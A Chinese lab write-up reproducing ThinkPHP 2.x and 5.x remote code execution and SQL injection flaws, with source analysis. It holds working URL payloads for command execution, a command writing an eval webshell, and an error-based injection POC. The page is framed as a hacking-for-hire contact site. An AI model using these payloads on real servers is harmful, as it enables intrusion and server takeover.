黑客24小时在线接单网站

渗透测试之路:ThinkPHP漏洞复现

󦘖

添加微信

16743346318

添加微信

写在前面:最近在学习框架漏洞的知识,也是从vulhub上进行搭建,之后进行复现,参考了很多大佬的博客文章,供大家学习。

0.ThinkPHP

1)简介

ThinkPHP是一个免费开源的,快速的,简单的面向对象的国产轻量级PHP开发框架。

ThinkPHP遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业级应用开而诞生的,具有免费开源,快速简单及面向对象等众多的优秀功能和特性。ThinkPHP经历了五年多发展的同时,在社区团队的积极参与下,在易用性,扩展性和性能方面不断优化和改进,众多的典型案例确保可以稳定用于商业以及门户的开发。

ThinkPHP借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,采用单一入口模式等。融合了Struts的Action思想和JSP的TagLib(标签库),ROR的ORM映射和ActiveRecord模式;封装了CURD和一些常用操作,在项目配置,类库导入,模板引擎,查询语言,自动验证,视图模型,项目编译,缓存机制,SEO支持,分布式数据库,多数据库连接和切换,认证机制和扩展性方面均有独特的表现。

使用ThinkPHP,可以更方便和快捷的开发和部署应用。ThinkPHP本身具有很多的原创特性,并且倡导大道至简,开发由我的开发理念,用最少的代码完成更多的功能,宗旨就是让WEB应用开发更简单,更快速!

2)安装方法

下载ThinkPHP后解压完成会形成两个文件夹:ThinkPHP和Examples。

ThinkPHP无需单独安装,将ThinkPHP文件夹FTP至服务器Web目录或拷贝至本地Web目录下面即可。

3)ThinkPHP目录结构说明

ThinkPHP.php:框架入口文件

Common:包含框架的一些公共文件,系统定义,系统函数和惯例配置等

Conf:框架配置文件目录

Lang:系统语言文件目录

Lib:系统基类库目录

Tpl:系统模板目录

Extend:框架扩展s

4)ThinkPHP运行环境要求

ThinkPHP可以支持Windows/Unix服务器环境,可以运行包括Apache,IIS和nginx在内的多种WEB服务器和多种模式。需要PHP5.2.0以上版本支持,支持MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多种数据库和连接。

ThinkPHP本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。ThinkPHP底层运行的内存消耗极低,而本身的文件大小也是轻量级,因此不会出现空间和内存占用的瓶颈。

一.2-rce

0x01 提前了解知识

preg_replace函数:

​ preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = - 1 [ , int &$count ]])

搜索subject中匹配pattern的部分,以replacement进行替换。

$pattern:要搜索的模式,可以是字符串或者一个字符串数组

$replacement:用于替换的字符串或者数组

$subject:用于替换的目标字符串或者数组

$limit:可选,对于每个模式用于每个subject字符串的最大可替换数。默认是-1

$count:可选·,为替换执行的次数

返回值:

​ 如果subject为一个数组,则返回一个数组,其他情况下返回一个字符串。

​ 如果匹配被查找到,替换后的subject被返回,其他情况下,返回没有改变的 subject,如果发生错误返回NULL

正则表达式:https://www.runoob.com/regexp/regexp-syntax.html

0x02 实验步骤

访问页面,发现是一个Thinkphp的cms框架,由于是漏洞复现,我们很清楚的知道他的版本是2.x。如果不知道版本的可以通过乱输入径进行报错,或是使用云悉指纹识别进行检测

此时输入已经爆出的远程代码执行命令即可浮现漏洞:

/index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此为一句话连菜刀

这里只要将phpinfo()换成一句话木马即可成功!

0x03 实验原理

1)通过观察这句话,我们可以清楚的知道它是将

${@phpinfo()}

作为变量输出到了页面显示,其原理,我通过freebuf总结一下:

在PHP当中, ${} 是可以构造一个变量的, {} 写的是一般字符,那么就会被当作成变量,比如 ${a} 等价于 $a

thinkphp所有的主入口文件默认访问index控制器(模块)

thinkphp所有的控制器默认执行index动作(方法)

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

数组$var在路径存在模块和动作时,会去除前面两个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

所以我们构造poc如下:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}.......

2)换而言之,就是在thinphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。

类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称

二.5.0.23-rce

漏洞简介

ThinkPHP 5.x主要分为 5.0.x和5.1.x两个系列,系列不同,复现漏洞时也稍有不同。

在ThinkPHP 5.x中造成rce(远程命令执行)有两种原因

1.路由对于控制器名控制不严谨导致RCE、

2.Request类对于调用方法控制不严谨加上变量覆盖导致RCE

首先记录这两个主要POC:

控制器名未过滤导致rce

function为反射调用的函数,vars[0]为传入的回调函数,vars[1][]为参数为回调函数的参数

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

核心类Request远程代码执行漏洞

filter[]为回调函数,get[]或route[]或server[REQUEST_METHOD]为回调函数的参数,执行回调函数的函数为call_user_func()

核心版需要开启debug模式

​ POST /index.php?s=captch

​ _ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

or

​ _ method=_construct&method=get&filter[]=system&get[]=pwd

控制器名未过滤导致RCE

0x01 简介

2018年12月9日,ThinkPHP v5系列发布安全更新v5.0.23,修复了一处可导致远程代码执行的严重漏洞。在官方公布了修复记录后,才出现的漏洞利用方式,不过不排除很早之前已经有人使用了0day

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞

最终确定漏洞影响版本为:

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

理解该漏洞的关键在于理解ThinkPHP5的路由处理方式主要分为有配置路由和未配置路由的情况,在未配置路由的情况,ThinkPHP5将通过下面格式进行解析URL

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

同时在兼容模式下ThinkPHP还支持以下格式解析URL:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]		(参数以PATH_INFO传入)
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[&参数名=参数值...]	     (参数以传统方式传入)
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8

本次漏洞就产生在未匹配到路由的情况下,使用兼容模式解析url时,通过构造特殊url,调用意外的控制器中敏感函数,从而执行敏感操作

下面通过代码具体解析ThinkPHP的路由解析流程

0x02 路由处理逻辑详细分析

分析版本: 5.0.22

跟踪路由处理的逻辑,来完整看一下该漏洞的整体调用链:

​ thinkphp/library/think/App.php

116行,通过routeCheck()方法开始进行url路由检测

在routeCheck()中,首先提取$path信息,这里获取$path的方式分别为pathinfo模式和兼容模式,pathinfo模式就是通过$_SERVER['PATH_INFO']获取到的主要path信息,==$_SERVER['PATH_INFO']会自动将URL中的""替换为"/",导致破坏命名空间格式==,==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的信息会通过get的方式获取,var_pathinfo的值默认为's',从而绕过了反斜杠的替换==,这里也是该漏洞的一个关键利用点

检测逻辑:如果开启了路由检测模式(配置文件中的url_on为true),则进入路由检测,结果返回给$result,如果路由无效且设置了只允许路由检测模式(配置文件url_route_must为true),则抛出异常。

在兼容模式中,检测到路由无效后(false === $result),则还会进入Route::parseUrl()检测路由。我们重点关注这个路由解析方式,因为该方式我们通过URL可控:

放回最终的路由检测结果$result($dispath),交给exec执行:

$dispatch = self::routeCheck($request, $config);									//line:116
$data = self::exec($dispatch, $config);														//line:139
public static function routeCheck($request, array $config)				//line:624-658
	{
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            ……
            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }
        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }
        return $result;
    }

thinkphp/libary/think/Route.php

跟踪Route::parseUrl(),在注释中可以看到大概解析方式

$url主要同通过parseUrlPath()解析,跟踪该函数发现程序通过斜杠/来划分模块/控制器/操作,结果为数组形式,然后将他们封装为$route,最终返回['type'=>'moudle','moudle'=>$route]数组,作为App.php中$dispatch1值,并传入exec()函数中

注意这里使用的时 斜杠/来划分每个部分,我们的控制器可以通过命名空间来调用,命名空间使用反斜杠\来划分,正好错过,这也是能利用的其中一个细节

/**
     * 解析模块的URL地址 [模块/控制器/操作?]参数1=值1&参数2=值2...
     * @access public
     * @param string $url        URL地址
     * @param string $depr       URL分隔符
     * @param bool   $autoSearch 是否自动深度搜索控制器
     * @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)		//line:1217-1276
    {
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo参数和变量
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模块,依次得到$module, $controller, $action
          	……
          	// 封装路由
            $route = [$module, $controller, $action];
        }
        return ['type' => 'module', 'module' => $route];
    }

thinkphp/library/think/Route.php

private static function parseUrlPath($url)				//line:1284-1302
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

路由解析结果作为exec()的参数进行执行,追踪该函数

thinkphp/library/think/App.php

追踪exec()函数,传入了$dispatch,$config两个参数,其中$dispatch为['type' => 'module', 'module' => $route]

因为 type 为 module,直接进入对应流程,然后执行module方法,其中传入的参数$dispatch['module']为模块\控制器\操作组成的数组

跟踪module()方法,主要通过$dispatch['module']获取模块$module, 控制器$controller, 操作$action,可以看到==提取过程中除了做小写转换,没有做其他过滤操作==

$controller将通过Loader::controller自动加载,这是ThinkPHP的自动加载机制,只用知道此步会加载我们需要的控制器代码,如果控制器不存在会抛出异常,加载成功会返回$instance,这应该就是控制器类的实例化对象,里面保存的有控制器的文件路径,命名空间等信息

通过is_callable([$instance, $action])方法判断$action是否是$instance中可调用的方法

通过判断后,会记录$instacne,$action到$call中($call = [$instance, $action]),方便后续调用,并更新当前$request对象的action

最后$call将被传入self::invokeMethod($call, $vars)

protected static function exec($dispatch, $config)	//line:445-483
    {
        switch ($dispatch['type']) {
						……
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }

        return $data;
    }

public static function module($result, $config, $convert = null)		//line:494-608
    {
        ……

        if ($config['app_multi_module']) {
            // 多模块部署
          	// 获取模块名
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
						……
        }
				……

        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }

        // 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      	……
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

        // 获取当前操作名
        $action = $actionName . $config['action_suffix'];

        $vars = [];
        if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);

        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }

        Hook::listen('action_begin', $call);

        return self::invokeMethod($call, $vars);
    }

先提前看下5.0.23的修复情况,找到对应的commit,对传入的控制器名做了限制

thinkphp/library/think/App.php

跟踪invokeMethod,其中 $method = $call = [$instance, $action]

通过实例化反射对象控制$instace的$action方法,即控制器类中操作方法

中间还有一个绑定参数的操作

最后利用反射执行对应的操作

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 静态方法
            $reflect = new \ReflectionMethod($method);
        }

        $args = self::bindParams($reflect, $vars);

        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

以上便是ThinkPHP5.0完整的路由检测,

0x03 弱点利用

如上我们知道,url 路由检测过程并没有对输入有过滤,我们也知道通过url构造的模块/控制器/操作主要来调用对应模块->对应的类->对应的方法,而这些参数通过url可控,我们便有可能操控程序中的所有控制器的代码,接下来的任务便是寻找敏感的操作

thinkphp/library/think/App.php

public static function invokeFunction($function, $vars = [])			//line:311-320
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }

该函数通过ReflectionFunction()反射调用程序中的函数,这就是一个很好利用的点,我们通过该函数可以调用系统中的各种敏感函数。

找到利用点了,现在就需要来构造poc,首先触发点在thinkphp/library/think/App.php中的invokeFunction,我们需要构造url格式为模块\控制器\操作

模块我们用默认模块index即可,首先大多数网站都有这个模块,而且每个模块都会加载app.php文件,无须担心模块的选择

该文件的命名空间为think,类名为app,我们的控制器便可以构造成\think\app。因为ThinkPHP使用的自动加载机制会识别命名空间,这么构造是没有问题的。

操作直接为invokeFunction,没有疑问

参数方面,我们首先要触发第一个调用函数,简化一下代码再分析一下:

第一行确定 $class 就是我们传入的控制器\think\app实例化后的对象

第二行绑定我们的方法,也就是invokefunction

第三方就可以调用这个方法了,其中$args是我们的参数,通过url构造,将会传入到invokefunction中

$class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);

然后就进入我们的invokefunctio,该函数需要什么参数,我们就构造什么参数,首先构造一个调用函数function=call_user_func_array

call_user_func_array需要两个参数,第一个参数为函数名,第二个参数为数组,var[0]=system,var[1][0]=id

这里因为两次反射一次回调调用需要好好捋一捋。。。。

复现成功

三.5-rce

0x01 漏洞原理

​ ThinkPHP是一款运用极广的PHP开发框架,其版本5中,由于没有使用正确的控制器名,导致在网站没有开启强制路由的情况下(即默认情况下),可以执行任意方法,从而导致远程命令执行漏洞。

0x02 漏洞影响版本

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

0x03 漏洞复现

可以利用点:

http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

vars[0]用来接受函数名,vars[1][]用来接收参数

如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

会在屏幕上打出123和我们输入的字符串长度

写入一句话木马getshell

使用file_put_contents函数写入shell:

vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>test.php

使用蚁剑成功getshell!

四.In-sqlinjection-rce

0x01 了解的知识:

pdo预编译:

当我们使用mysql语句进行数据查询时,数据首先传入计算机,计算机进行编译之后传入数据库进行数据查询

(我们使用的是高级语言,计算机无法直接理解执行,所以我们将命令或请求传入计算机时,计算机首先将我们的语句编译成为计算机语言,之后再进行执行,所以如果不编译直接执行计算机是无法理解的,如传入select函数,没编译之前计算机只认为这是五个字符,而无法理解这是个查询函数)

如此说来,我们每次查询时都需要先编译,这样会加大成本,并且会存在sql注入的可能,所以有一定危险。

如此,我们进行查询数据库数据时使用预编译,例如:

select ? from security where tables=?

此语句中?代表占位符,在pdo中表示之后绑定的数据,此时无法确定具体值

用户在传入查询具体数值时,计算机首先将以上的查询语句进行编译,使其具有执行力,之后再对于?代表的具体数值就不进行编译而直接进行查询,所以我们在?处利用sql注入语句代替时,就不具有任何效力,甚至传入字符串时还会报错,而预编译还可以节省成本,即上面语句除了查询数值只编译一次,之后进行相同语句查询时直接使用,只是查询具体数值改变。所以这种预编译的方式可以很好的防止sql注入。

漏洞上下文如下:

<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
    }
}

如上述代码,如果我们控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。

文中已有分析,我就不多说了,但说一下为什么这是一个SQL注入漏洞。IN操作代码如下:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }

可见,$bindName在前边进行了一次检测,正常来说是不会出现漏洞的。但如果$value是一个数组的情况下,这里会遍历$value,并将$k拼接进$bindName

也就是说,我们控制了预编译SQL语句中的键名,也就说我们控制了预编译的SQL语句,这理论上是一个SQL注入漏洞。那么,为什么原文中说测试SQL注入失败呢?

这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:

prepare($SQL)编译SQL语句

bindValue($param, $value)将value绑定到param的位置上

execute()执行

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的:

所以,这个错误“似乎”导致整个过程执行不到第三步,也就没法进行注入了。

但实际上,在预编译的时候,也就是第一步即可利用。我们可以做有一个实验。编写如下代码:

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];

$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);

try {
    $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
    var_dump($e);
}

执行发现,虽然我只调用了prepare函数,但原SQL语句中的报错已经成功执行:

[

究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false

这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。

这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。我们看看ThinkPHP5的默认配置:

...
// PDO连接参数
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
...

可见,这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

但是,如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。因为没有过多研究,说一下我猜测:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

个人总结

​ 其实ThinkPH框架漏洞大多用到的都是设置对于控制器名的一个疏忽问题,不理解的小伙伴可以查来url调用文件的机制来学习一下,其实这些框架漏洞都是基于基础漏洞的一些拓展,至于sql漏洞,了解一下pdo预编译原理即可。

​ 不管java或是php在进行数据库查询的时候都应该进行pdo预编译,我们都知道,在jdbc工作的时候分成好多步

1.建立连接

2.写入sql语句

3.预编译sql语句

4.设置参数

5.执行sql获取结果

6.遍历结果(处理结果)

7.关闭连接

​ 对于程序员来说,jdbc操作总是很麻烦,所以利用预编译就是将mysql查询语句进行封装,之后在进行查询的时候直接输入参数即可,这样即简化了操作也极大程度加强了安全属性,而以此类推,这样来说我们是否可以将其他步骤也进行封装呢,也就是建立连接,写入sql语句等,只留下写入sql语句与遍历结果来进行操作,这样就更加简化了操作。

于是就诞生出了Mybatis半自动框架与Hibernate全自动框架,直接将jdbc的操作进行封装,但是由于全自动框架可操作性过于狭窄,所以现在市面上更多的还是Mybatis框架进行连接服务端与数据库,但是一般政府或国企的项目还是偏向于Hibernate框架,这些知识都是涉及一些编程知识,大家可以自己去了解一下。

还撰写过一篇关于servlet的总结,是关于连接网页与客户端的一些知识,也描述了一些关于Cookie与session或页面信息的基础知识,对于网络安全学习还是大有裨益的,感兴趣的小伙伴可以去看看。链接奉上!欢迎各位大佬光临。

分享:
扫描分享到社交APP

微信号复制成功

打开微信,点击右上角"+"号,添加朋友,粘贴微信号,搜索即可!